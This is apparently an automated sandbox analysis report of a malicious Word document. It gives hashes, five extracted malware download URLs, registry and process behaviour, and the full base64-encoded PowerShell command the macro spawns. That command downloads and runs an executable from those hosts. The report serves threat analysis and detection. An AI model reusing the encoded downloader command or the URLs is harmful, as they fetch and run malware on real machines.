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Analysis
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max time kernel
139s -
max time network
128s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
23/05/2024, 13:02
Static task
static1
Behavioral task
behavioral1
Sample
6b05bea9195fa2aa09b6c86038221073_JaffaCakes118.doc
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
6b05bea9195fa2aa09b6c86038221073_JaffaCakes118.doc
Resource
win10v2004-20240426-en
General
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Target
6b05bea9195fa2aa09b6c86038221073_JaffaCakes118.doc
-
Size
484KB
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MD5
6b05bea9195fa2aa09b6c86038221073
-
SHA1
5b62fe9202aba72540d674741d3fd024641cac4f
-
SHA256
ea31594f27362ee525951c5a3d47a94b66cdbb51a7227c4381d622df57c7c7bc
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SHA512
8bfb1d02d1eb64118db00ab619fbe4a3a830c06b7782b12d96f40e5c1b762c7a6f77748a39f549405664b31db477684f502c780561d0740b9b30c289a2506800
-
SSDEEP
6144:zdlSApEXv/354poAMzSVIhl9EKRDqME4yanMjdn/NQVg+D3Do8oRtxQwvVAJTVH:zDSApaX54poA8SVIf51E4K14o8IuD
Malware Config
Extracted
http://www.venturelendingllc.com/Wxw9QNt8I
http://barabooseniorhigh.com/FWLR2ZT
http://mimiabner.com/x7bQDOiSJe
http://vesidailucachau.com/F1zcXKyj
http://altuntuval.com/8cfiGmIXk
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 404 1196 POwershell.exe 85 -
Blocklisted process makes network request 4 IoCs
flow pid Process 27 404 POwershell.exe 32 404 POwershell.exe 45 404 POwershell.exe 48 404 POwershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3740 WINWORD.EXE 3740 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 404 POwershell.exe 404 POwershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 404 POwershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 3740 WINWORD.EXE 3740 WINWORD.EXE 3740 WINWORD.EXE 3740 WINWORD.EXE 3740 WINWORD.EXE 3740 WINWORD.EXE 3740 WINWORD.EXE
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6b05bea9195fa2aa09b6c86038221073_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3740
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C:\Windows\System32\WindowsPowerShell\v1.0\POwershell.exePOwershell -e JABqADQANwAxAF8AMAA9ACgAJwBBADgAXwA5ADIAJwArACcAOQAnACsAJwA1ACcAKQA7ACQAegA3ADcAMAA1ADYAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQASQA5ADMAMAA0ADUAOAA9ACgAJwBoAHQAJwArACcAdABwADoALwAvAHcAdwB3ACcAKwAnAC4AdgAnACsAJwBlACcAKwAnAG4AJwArACcAdAB1AHIAZQAnACsAJwBsAGUAJwArACcAbgBkAGkAJwArACcAbgBnAGwAbABjAC4AYwAnACsAJwBvAG0ALwAnACsAJwBXAHgAdwA5ACcAKwAnAFEATgAnACsAJwB0ADgASQBAAGgAJwArACcAdAB0AHAAOgAnACsAJwAvACcAKwAnAC8AJwArACcAYgAnACsAJwBhAHIAYQAnACsAJwBiAG8AbwAnACsAJwBzAGUAbgBpAG8AcgBoAGkAZwBoAC4AYwBvAG0ALwBGACcAKwAnAFcAJwArACcATABSACcAKwAnADIAWgAnACsAJwBUAEAAJwArACcAaAB0AHQAcAAnACsAJwA6AC8AJwArACcALwBtAGkAbQAnACsAJwBpACcAKwAnAGEAJwArACcAYgBuAGUAJwArACcAcgAuACcAKwAnAGMAJwArACcAbwBtAC8AeAA3AGIAUQBEAE8AaQBTAEoAZQBAAGgAdAB0AHAAJwArACcAOgAvAC8AdgBlAHMAJwArACcAaQBkAGEAaQAnACsAJwBsAHUAYwBhAGMAaABhAHUALgBjAG8AbQAnACsAJwAvAEYAMQAnACsAJwB6ACcAKwAnAGMAWABLACcAKwAnAHkAagBAACcAKwAnAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AYQBsACcAKwAnAHQAJwArACcAdQAnACsAJwBuAHQAJwArACcAdQAnACsAJwB2AGEAbAAnACsAJwAuAGMAbwBtAC8AOABjAGYAaQBHAG0ASQBYAGsAJwApAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQAegA4AF8ANQBfADQAPQAoACcAUQAnACsAJwBfAF8AMgA4AF8AMgA4ACcAKQA7ACQATgAwAF8ANwA5ADgAMwAgAD0AIAAoACcAMgAxACcAKwAnADUAJwApADsAJABOADMANQA1ADAAXwA9ACgAJwBOAF8AMwAxACcAKwAnADAAXwAnACsAJwA3ADgAJwApADsAJABIAF8ANQA0ADQANwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQATgAwAF8ANwA5ADgAMwArACgAJwAuAGUAJwArACcAeABlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAGQAMwA1ADQANgA1AF8ANQAgAGkAbgAgACQASQA5ADMAMAA0ADUAOAApAHsAdAByAHkAewAkAHoANwA3ADAANQA2AC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGQAMwA1ADQANgA1AF8ANQAsACAAJABIAF8ANQA0ADQANwApADsAJAByAF8AMQA3ADUANwA9ACgAJwBOACcAKwAnADcAXwBfADIAXwAnACsAJwA2ADQAJwApADsASQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQASABfADUANAA0ADcAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABIAF8ANQA0ADQANwA7ACQAagAzADMANgA5ADUAPQAoACcASABfADIAMwAnACsAJwAyADUANgA3ACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJABFAF8AXwBfADkAMAA5AD0AKAAnAFkAXwA1ADAANwAnACsAJwA5ACcAKQA7AA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:404
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
245KB
MD5f883b260a8d67082ea895c14bf56dd56
SHA17954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82